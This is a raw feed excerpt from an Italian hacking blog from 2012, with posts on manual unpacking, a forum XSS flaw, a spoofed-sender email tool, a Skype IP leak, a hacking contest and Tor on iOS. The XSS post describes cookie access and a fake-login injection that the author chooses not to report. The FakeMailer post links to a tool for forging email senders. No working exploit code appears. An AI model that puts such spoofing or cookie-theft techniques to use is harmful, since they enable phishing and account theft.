&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw9veI5hfM45XhaO0URhLyILRHW7CdRepSkt0icz-23h6pocrGa20mUQIi2sW255fV2O8H9DSBESZGLqSDWDvL1emRMwm31K6s-iv2ryvTnCY0MdfAU37VZyT45A46FaADFeou8zj0LECL/s1600/ImpRec.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;258&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw9veI5hfM45XhaO0URhLyILRHW7CdRepSkt0icz-23h6pocrGa20mUQIi2sW255fV2O8H9DSBESZGLqSDWDvL1emRMwm31K6s-iv2ryvTnCY0MdfAU37VZyT45A46FaADFeou8zj0LECL/s320/ImpRec.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Parlando di reverse engineering non si può non parlare dello scalino forse più difficile da sorpassare prima di potersi definire effettivamente un buon reverser e abbandonare definitivamente il mondo del newbie.&lt;br /&gt;
Questo gradino è il manual unpacking, di cui forse per vari scopi avrete già sentito.&lt;br /&gt;
&lt;br /&gt;
Dovete sapere che la maggior parte dei software commerciali sia di alto che di basso livello sono dotati di protezioni, che servono proprio per impedire il reverse engineering e prendono il nome di &quot;packer&quot;. Questi vanno a modificare il codice del programma in vari modi che cambiano a seconda del packer che si usa.&lt;br /&gt;
Il più delle volte il packer crea un code-cave nel programma nel quale poi scriverà un algoritmo per criptare o packare il programma. Prima di andare troppo a fondo nell&#39;argomento, dovete sapere 2 termini che in questo ambito sono indispensabili: &quot;l&#39;&lt;b&gt;EntryPoint&lt;/b&gt;&quot; (&lt;b&gt;EP&lt;/b&gt;) e &quot;l&#39;&lt;b&gt;Original EntryPoint&lt;/b&gt;&quot;(&lt;b&gt;OEP&lt;/b&gt;). Il primo è, come è facile intuire, l&#39;inizio vero e proprio del programma, cioè la prima parte di codice che viene scritta in memoria ed elaborata. Il secondo invece, è un termine che si usa riferendosi a programmi packati per indicare il vero EntryPoint, cioè il punto di inizio del programma il quale essendo packato non è uguale all&#39;EP (proprio perché il packer crea il code-cave all&#39;inizio del programma per criptare l&#39;intero programma prima di farlo elaborare).&lt;br /&gt;
&lt;br /&gt;
Quindi in un programma packato OEP != EP, mentre in un programma non packato EP == OEP, questo dovrebbe essere abbastanza chiaro.&lt;br /&gt;
Benissimo, chiarito questo concetto potete capire, all&#39;incirca, cosa fa il più delle volte un packer. &amp;nbsp;Solitamente questo, va a scrivere un algoritmo di criptazione che si sostituisce all&#39;EP originale del programma filtrando ogni parte del programma tramite appunto questo codice (abbiamo già visto lo &lt;b&gt;XOR ENCODER &lt;/b&gt;che serviva per eludere VirusTotal).&lt;br /&gt;
&lt;br /&gt;
Fino a qui non dovreste aver problemi a capire, ma la parte più difficile (più da fare che da capire) è il &lt;b&gt;dump&amp;nbsp;&lt;/b&gt;del programma, cioè l&#39;estrazione del codice del packer dal programma. Per fare un dump abbiamo a disposizione vari programmi, ma per le prime volte io consiglio di usare OllyDump, il quale è un semplice ed intuitivo plug-in per OllyDBG. Una volta fatto il dump del programma arriva l&#39;ultima cosa da fare, cioè la ricostruzione delle import, che è la parte più semplice perché ci viene in aiuto il miglior programma per questo genere di cose cioè &lt;b&gt;ImpRec &lt;/b&gt;(illustrato nell&#39;immagine).&lt;br /&gt;
&lt;br /&gt;
Quindi riassumendo il manual unpacking si divide in 3 parti:&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;1-Comprensione del funzionamento del packer&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;2-Individuazione dell&#39;OEP&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;3-Dump del programma&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;color: lime;&quot;&gt;4-Ricostruzione delle Import&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
Ovviamente, come ho già detto, l&#39;intenzione di questo articolo non era darvi istruzioni dettagliate sul manual unpacking, perché per farlo ci vorrebbero un bel PDF corposo, ma, come cerco di fare sempre, era di intrudurvi in questo argomento, illustrndovelo approssimativamente.&lt;br /&gt;
&lt;br /&gt;
Consiglio di leggere principalmente questa guida: &lt;a href=&quot;http://quequero.org/Lezione_9_Manual_Unpacking&quot;&gt;Manual Unpacking UIC&lt;/a&gt;, dove vengono introdotte bene le basi (il PE e la sua analisi) e le varie tecniche anti-debugging, e dove viene data una strada un po più concreta da seguire per unpackare un programma.&lt;br /&gt;
&lt;br /&gt;
Infine consiglio di andarvi a vedere qualche tutorial sempre della UIC sul manual unpacking di alcuni CrackMes, prima di passare a provare un UnpackMe vero e proprio senza nessun aiuto. Buona fortuna...</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/6720258952737435018/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/06/manual-unpacking-il-gradino.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6720258952737435018'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6720258952737435018'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/06/manual-unpacking-il-gradino.html' title='Manual Unpacking, il gradino indispensabile'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhw9veI5hfM45XhaO0URhLyILRHW7CdRepSkt0icz-23h6pocrGa20mUQIi2sW255fV2O8H9DSBESZGLqSDWDvL1emRMwm31K6s-iv2ryvTnCY0MdfAU37VZyT45A46FaADFeou8zj0LECL/s72-c/ImpRec.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-2662394109634705352</id><published>2012-06-07T22:43:00.001+02:00</published><updated>2012-09-17T15:33:30.747+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Exploit"/><category scheme="http://www.blogger.com/atom/ns#" term="hacking"/><category scheme="http://www.blogger.com/atom/ns#" term="Novità"/><title type='text'>0-day forumcommunity, JS illecito reso possibile</title><content type='html'>&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB680q93vf_5izEZPcnnBvpnntZo-FpBqFen0HGx8YHwiqerZTqIkwPvGqNca0mrdTgp88NaHsXe1vb_4Dr3erP1etMy0-VDPiyD_Nj3y-YHh2-bG_luzk0ps9OWfcEffARfX4h-xzyvzF/s1600/0-day+forumcommunity.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;275&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB680q93vf_5izEZPcnnBvpnntZo-FpBqFen0HGx8YHwiqerZTqIkwPvGqNca0mrdTgp88NaHsXe1vb_4Dr3erP1etMy0-VDPiyD_Nj3y-YHh2-bG_luzk0ps9OWfcEffARfX4h-xzyvzF/s400/0-day+forumcommunity.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;Poco tempo fa, vidi su un forum un post, dove un ragazzo di 16 anni scriveva di aver scoperto un exploit per forumcommunity/forumfree, i quali sono due delle più frequentate community per la creazione facile e veloce di forum, e come al solito il mio primo pensiero fu: &quot;il solito lamerino che vuol farsi belloccio dicendo cagate...&quot;, così chiesi in modo arrogante se poteva aggiungermi su skype per farmi vedere questo exploit, del quale, ovviamente, dubitavo al 100%; ebbene, mi sbagliavo alla grande.&lt;br /&gt;
Il suddetto exploit permetteva di eseguire codice javascript non permesso da forumcommunity, come l&#39;uso di un Iframe oppure la classica chiamata al document.cookie, e vidi con i miei stessi occhi, increduli, che FC grabbava come una cagna arrapata (WTF?? Roba da nerd)...&lt;br /&gt;
Così mi mostrò il suo forum e da lì, gli snocciolai l&#39;exploit passo dopo passo finchè non riuscii proprio qualche sera fa a finirlo anche su un mio forum creato ad hoc...&lt;br /&gt;
&lt;br /&gt;
Non mi ritengo creatore di questo 0-day, ma sono felice perchè finalmente le mie conoscenze sono bastate per trovare un bug in una grande community.&lt;br /&gt;
Per adesso non ho intenzione di segnalare il bug, forse perché, nella mia immaturità morale, lo considero quasi un tesoro personale, intanto voglio continuare a provare per vedere fino a che punto questo bug si possa espandere, e probabilmente quando sarò arrivato a delle conclusioni concrete segnalerò il bug.&lt;br /&gt;
Comunque sia, ho postato lo screen del forum su cui l&#39;ho provato, il quale ovviamente ho cancellato, per mostrarvi che non dico cazzate.&lt;br /&gt;
&lt;br /&gt;
Vorrei, con suo consenso, dire esplicitamente, che il suo nick è huggye e ne approfitto per ringraziarlo molto...&lt;br /&gt;
&lt;br /&gt;
Scrivo comunque questo articolo, perché sono rimasto abbastanza deluso dalla sicurezza di forumcommunity, che non filtra i codici che riceve, e per avvertirvi di stare attenti, perché tramite questo bug, siamo riusciti anche a immettere un fake-login nella pagina.&lt;br /&gt;
Per sicurezza, quindi, controllate sempre se avete effettivamente fatto il log-out o è solo la pagina che &quot;fa finta che voi noi siate loggati&quot;.&lt;br /&gt;
&lt;br /&gt;
A presto...</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/2662394109634705352/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/06/0-day-forumcommunity-js-illecito-reso.html#comment-form' title='4 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2662394109634705352'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2662394109634705352'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/06/0-day-forumcommunity-js-illecito-reso.html' title='0-day forumcommunity, JS illecito reso possibile'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgB680q93vf_5izEZPcnnBvpnntZo-FpBqFen0HGx8YHwiqerZTqIkwPvGqNca0mrdTgp88NaHsXe1vb_4Dr3erP1etMy0-VDPiyD_Nj3y-YHh2-bG_luzk0ps9OWfcEffARfX4h-xzyvzF/s72-c/0-day+forumcommunity.PNG" height="72" width="72"/><thr:total>4</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-1954621063439108385</id><published>2012-05-24T09:30:00.000+02:00</published><updated>2012-05-25T15:04:28.561+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Software"/><title type='text'>FakeMailer ~ BlackHack [With Source]</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzdL6-QgXC8sHawe0LLu_qCXuI49S3NhlTrHjJdd27ojztHnG2gChC9v3TIKVgEFwSMl8Mhmkl4kR2z2CgUhm58mEHf90pLkIX96l5e-jRwIwMUjR4BIol3t-ZWWISNMuOZcorV9iWtn1i/s1600/Fake+Mailer.PNG&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;340&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzdL6-QgXC8sHawe0LLu_qCXuI49S3NhlTrHjJdd27ojztHnG2gChC9v3TIKVgEFwSMl8Mhmkl4kR2z2CgUhm58mEHf90pLkIX96l5e-jRwIwMUjR4BIol3t-ZWWISNMuOZcorV9iWtn1i/s400/Fake+Mailer.PNG&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Con questo piccolo script, voglio inaugurare una nuova &quot;sezione&quot;, nella quale metterò tutti i miei programmi/script, che penso possano esservi utili sia a scopo didattico, sia per il loro vero scopo.&lt;br /&gt;
&lt;br /&gt;
Questo script in particolare serve, come è facile intuire, a mandare mail con mittente falso.&lt;br /&gt;
Probabilmente dall&#39;immagine avrete notato che bisogna impostare le proprie credenziali FTP perché lo script, a differenza di molti altri fake-mailer, non usa il protocollo SMTP per inviare la mail, ma crea un file php che uppa sul server FTP e infine lo apre con IE (quindi è necessario avere almeno IE installato sul computer, anche se penso che ce lo abbiate tutti).&lt;br /&gt;
Questo metodo può sembrare da pazzi, ma serve semplicemente perché con l&#39;SMTP non c&#39;è la possibilità di usare codici html nelle mail, mentre così si può. Infatti potrete usare tutte le funzioni dell&#39;html per &quot;abbellire&quot; le vostre mail.&lt;br /&gt;
&lt;br /&gt;
Spero possa servire a qualcuno. A me serve molto spesso...&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: red;&quot;&gt;Download &amp;amp; Source:&lt;/span&gt; &lt;a href=&quot;http://www.mediafire.com/?l8aw388cwo68ivd&quot;&gt;FakeMailer&amp;nbsp;~ BlackHack&lt;/a&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/1954621063439108385/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/05/fakemailer-blackhack-with-source.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/1954621063439108385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/1954621063439108385'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/05/fakemailer-blackhack-with-source.html' title='FakeMailer ~ BlackHack [With Source]'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzdL6-QgXC8sHawe0LLu_qCXuI49S3NhlTrHjJdd27ojztHnG2gChC9v3TIKVgEFwSMl8Mhmkl4kR2z2CgUhm58mEHf90pLkIX96l5e-jRwIwMUjR4BIol3t-ZWWISNMuOZcorV9iWtn1i/s72-c/Fake+Mailer.PNG" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-7234213246543055500</id><published>2012-05-17T17:19:00.004+02:00</published><updated>2012-05-17T17:21:11.532+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Novità"/><category scheme="http://www.blogger.com/atom/ns#" term="sicurezza"/><title type='text'>Scandalo privacy, Skype rivela indirizzi IP degli utenti</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGSX8lXYXebNT9kjWsRMS3jN-j98dvkPksrt3rzGOFGspqh8lXMEhQVcVlvqHx1s411lU8BhQCADCtchLqLK9sStVi7gBzVhSEvewr7SoQSqlXfly8xQKsb-AdeM4uKqoYNbKWxDuyNASa/s1600/skype_privacy_hacked.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGSX8lXYXebNT9kjWsRMS3jN-j98dvkPksrt3rzGOFGspqh8lXMEhQVcVlvqHx1s411lU8BhQCADCtchLqLK9sStVi7gBzVhSEvewr7SoQSqlXfly8xQKsb-AdeM4uKqoYNbKWxDuyNASa/s320/skype_privacy_hacked.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;A quanto pare inizia l&#39;era dell&#39;insicurezza di skype, anche se forse il peggio è già passato...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Il più usato dei software di comunicazione tramite il nuovo protocollo VoIP, è stato hackerato da un gruppo sconosciuto, che ha pubblicato online uno script che ritornava esattamente tutti gli IP dei contatti, del nostro account, che erano, in quel momento, ocollegati.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Questo è un vero e proprio scandalo per la sicurezza di skype, che fino ad ora aveva mantenuto un buon livello di privacy.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Questo anonimo gruppo di hacker, a quanto pare, avrebbe chiamato circa 10.000 persone ogni ora per due settimane, immagazzinando informazioni, quali posizione geografica (facilmente ottenibile grazie ai servizi di geolocalizzazione dell&#39;IP), provider ecc...&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Per fortuna, lo script al momento è fuori uso, grazie al pronto intervento degli esperti di sicurezza del software i quali si sono subito attivati per ovviare a questo brutto bug.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;Quello che ancor più spaventa è il fatto che per 1 settimana circa lo script è stato lasciato libero ed accessibile a tutti i &quot;mal intenzionati&quot; a &lt;a href=&quot;http://skype-ip-finder.tk/&quot;&gt;QUESTO&lt;/a&gt; indirizzo web&amp;nbsp;il quale dopo poco è stato denunciato e messo a tacere.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;E&#39; quindi messa a rischio la nostra privacy ovunque, e questo, lo ha confermato; il buon vecchio detto ha avuto di nuovo ragione: &quot;Il computer più sicuro, è il computer spento&quot;.&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/7234213246543055500/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/05/scandalo-skype-rivela-gli-indirizzi-ip.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/7234213246543055500'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/7234213246543055500'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/05/scandalo-skype-rivela-gli-indirizzi-ip.html' title='Scandalo privacy, Skype rivela indirizzi IP degli utenti'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGSX8lXYXebNT9kjWsRMS3jN-j98dvkPksrt3rzGOFGspqh8lXMEhQVcVlvqHx1s411lU8BhQCADCtchLqLK9sStVi7gBzVhSEvewr7SoQSqlXfly8xQKsb-AdeM4uKqoYNbKWxDuyNASa/s72-c/skype_privacy_hacked.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-6639265820496736906</id><published>2012-05-10T11:59:00.001+02:00</published><updated>2012-05-10T11:59:01.577+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="cracking"/><category scheme="http://www.blogger.com/atom/ns#" term="Novità"/><title type='text'>Cat 2012 il 12 maggio a Genova</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx28CcDOVbK-9N4zvV7ARaMKgiWijrUq5AB6QsKRfm6V-g3-qUU8GnbNpCPp9jJWdIYyAypgpN631g6MW0honUIhFyyx9wu2m591elxc0zyS9eQfENMoGd351z07SePaVo9rBMuKcwIPg/s1600/CAT+2012.jpg&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;240&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx28CcDOVbK-9N4zvV7ARaMKgiWijrUq5AB6QsKRfm6V-g3-qUU8GnbNpCPp9jJWdIYyAypgpN631g6MW0honUIhFyyx9wu2m591elxc0zyS9eQfENMoGd351z07SePaVo9rBMuKcwIPg/s320/CAT+2012.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Non potevo non parlarvene, anche quest&#39;anno il CAT (cracca al tesoro) si è stanziato in un posto diverso, quest&#39;anno Genova, e&amp;nbsp;visto che la data coincide con quella del MARC perché non unirli?&lt;br /&gt;
Infatti gli organizzatori non hanno perso l&#39;occasione, facendo il &quot;gioco&quot; proprio all&#39;interno della fiera dell&#39;informatica genovese.&lt;br /&gt;
Invito quindi chi può, a farci un salto, perché è sicuramente un&#39;occasione da non perdere e anche una buona occasione per farsi un giretto alla fiera e comprare qualche cartuccia per la stampante.&lt;br /&gt;
Nel caso voleste andarci, consiglio vivamente di guardare qualche informazione in più sul sito ufficiale: &lt;a href=&quot;http://www.wardriving.it/&quot;&gt;http://www.wardriving.it&lt;/a&gt;&lt;br /&gt;
Buon CAT 2012 e che vinca il migliore...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/6639265820496736906/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/05/cat-2012-il-12-maggio-genova.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6639265820496736906'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/6639265820496736906'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/05/cat-2012-il-12-maggio-genova.html' title='Cat 2012 il 12 maggio a Genova'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhwx28CcDOVbK-9N4zvV7ARaMKgiWijrUq5AB6QsKRfm6V-g3-qUU8GnbNpCPp9jJWdIYyAypgpN631g6MW0honUIhFyyx9wu2m591elxc0zyS9eQfENMoGd351z07SePaVo9rBMuKcwIPg/s72-c/CAT+2012.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7963577105298262429.post-2124455520333497475</id><published>2012-04-29T22:36:00.002+02:00</published><updated>2012-04-29T22:37:15.802+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Novità"/><category scheme="http://www.blogger.com/atom/ns#" term="phreaking"/><title type='text'>Tor adesso anche su iphone</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiERHkIyuIzUMl-9uuMrnH1ee_W2o61vb6XfxEq-40qmVY9X2zxy7aN3fktIY8T3OCWHIF5hAsZ9RS0mlwvN6lvGPF9IJX-QBxd7NdOFTLmMFdaMZd2Ohtqro2zc6d_7Ti891gH4pkoy4ub/s1600/onion+browser.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiERHkIyuIzUMl-9uuMrnH1ee_W2o61vb6XfxEq-40qmVY9X2zxy7aN3fktIY8T3OCWHIF5hAsZ9RS0mlwvN6lvGPF9IJX-QBxd7NdOFTLmMFdaMZd2Ohtqro2zc6d_7Ti891gH4pkoy4ub/s320/onion+browser.png&quot; width=&quot;212&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
Grande notizia per gli amanti dell&#39;anonimato e per i possessori di device apple quali iphone, ipod e ipad, perché Tor e il suo browser sbarcano anche su IOS 5.&lt;br /&gt;
Dotata di una buona e semplice interfaccia grafica resta il top del top nell&#39;anonimato sul web e sicuramente in un mondo dove i computer stanno sempre di più lasciando spazio, a device più piccoli, è fondamentale aver un buon punto di riferimento per l&#39;anonimato nella così detta &quot;navigazione a portata di mano&quot;.&lt;br /&gt;
&lt;br /&gt;
E&#39; dotata, inoltre, di un apposita funzione di UA (user agent) spoofing, molto buona sotto vari punti di vista.&lt;br /&gt;
Creata da &amp;nbsp;Michael Tigas, è uscita il 24/4/12 e ha dimensione di 3.6 MB. Il suo costo è di 0.79 €.&lt;br /&gt;
&lt;br /&gt;
Nella descrizione dell&#39;app, viene esplicitamente detto che alcuni bug verranno risolti a breve nella versione 1.1.1 e che per il momento, è accessibile solo a chi ha compiuto i 17 anni. Inoltre il creatore ha specificato che ovviamente la rete tor non andrà allo stesso passo dei browser normali, ma questo si è sempre saputo; a volte la prudenza comprende anche un po di sbattimento in più.&lt;br /&gt;
&lt;br /&gt;
La potete trovare tranquillamente &lt;a href=&quot;http://itunes.apple.com/us/app/onion-browser/id519296448?mt=8&quot;&gt;QUA&lt;/a&gt;, o meglio nell&#39;app store, digitando semplicemente &quot;Onion browser&quot;. Vi terrò aggiornati e posterò appena sarà messa online, la IPA di quest&#39;app, anche se vi inviterei a comprarla, in quanto è stato detto che il 10% del ricavato sarà impiegato per finanziare il Tor Project.&lt;br /&gt;
&lt;br /&gt;</content><link rel='replies' type='application/atom+xml' href='http://duxhack.blogspot.com/feeds/2124455520333497475/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://duxhack.blogspot.com/2012/04/tor-adesso-anche-su-iphone.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2124455520333497475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7963577105298262429/posts/default/2124455520333497475'/><link rel='alternate' type='text/html' href='http://duxhack.blogspot.com/2012/04/tor-adesso-anche-su-iphone.html' title='Tor adesso anche su iphone'/><author><name>BlackHack</name><uri>http://www.blogger.com/profile/13299095775678040431</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='31' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yxQpFJOMHfwPA-BlidANxrfKAfwz1v45eA5drXrmpDpaRjzVBWS7Vlx0f-8KuZAEgC6Yy9mq1wySAnNGsIQJlkoEyhZJ4FN1SD0VaS9IFND0PXwCCy-1orLD88Blhg/s220/BlackHack00.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" 